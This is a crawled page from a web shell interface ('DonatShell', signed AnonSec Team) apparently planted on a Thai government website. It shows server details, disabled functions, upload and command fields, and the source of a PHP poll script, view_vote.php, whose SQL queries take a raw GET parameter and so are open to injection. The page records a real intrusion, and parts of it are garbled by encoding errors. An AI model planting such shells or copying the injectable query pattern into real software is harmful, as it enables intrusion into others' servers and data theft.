%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thungkhana/domains/thungkhanan.go.th/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/thungkhana/domains/thungkhanan.go.th/public_html//view_vote.php
<?php
 require_once('admin/Connections/conndb.php'); 
  mysql_select_db($database_conndb, $conndb);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>Vote Poll</title>
<link href="styles.css" rel="stylesheet" type="text/css" />
</head>

<body>
<?php
    //echo ' v = '.$_POST[v];
	//echo ' / v= '.$_GET[v];
	$idp=$_GET[idp];
	
	if($idp==""){
	?>
<div align="center" class="styles5">س͡Ǣ</div>
	<?php
	}
	else{
	$getip="select * from vote_log where id_poll=".$idp." and ip='".$ip."'";
	$resip=mysql_query($getip,$conndb) or die(mysql_error());
	/*
	if(mysql_num_rows($resip)!=0){
		?>
<div class="styles3" align="center">¤سǵǢ͹</div>
        <?php 
	}
	else{
		*/
		$now=date("Y-m-d H:i:s");
		
		
		$getpoll="select * from poll where id_poll=".$idp;
		$respp=mysql_query($getpoll,$conndb);
		$datpp=mysql_fetch_array($respp);
	//}
?>	
	<div class="styles5">ػšǵ Ǣ <?php echo stripslashes($datpp[p_title]);?></div>
    <?php
		$sum_vote="select sum(point) as spoint from vote where id_poll=".$idp;
		$res_vote=mysql_query($sum_vote,$conndb) or die(mysql_error());
		$datv=mysql_fetch_array($res_vote);
		$sum=$datv[spoint];
		//echo '<br> sum = '.$sum;
	?><table width="400" border="0" cellpadding="2" cellspacing="1" class="styles1">
    <?php
		$data="select * from vote where id_poll=".$idp;
		$result=mysql_query($data,$conndb) or die(mysql_error());
		while($f=mysql_fetch_array($result)){
			$percent=($f[point]*100)/$sum;
			$per1=round($percent);
			
	?>
  <tr>
    <td width="184" align="left"><?php echo $f[vtitle];?></td>
    <td width="161" align="left">
    <table width="<?php echo $per1;?>" border="0" cellspacing="0" cellpadding="2">
      <tr>
        <td height="15" bgcolor="#0066CC"></td>
      </tr>
    </table>      </td>
    <td width="39" align="right"><?php echo $per1;?> %</td>
  </tr>
  	<?php
	}
	?>
</table>

<?php	
	}
function getIP(){
	if (getenv(HTTP_CLIENT_IP)) { 
			$ip = getenv(HTTP_CLIENT_IP);
		} else if (getenv(HTTP_X_FORWARDED_FOR)) { 
			$ip = getenv(HTTP_X_FORWARDED_FOR);
		} else { 
			$ip = getenv(REMOTE_ADDR);
		}
	return $ip;
}
?>
</body>
</html>

Anon7 - 2022
AnonSec Team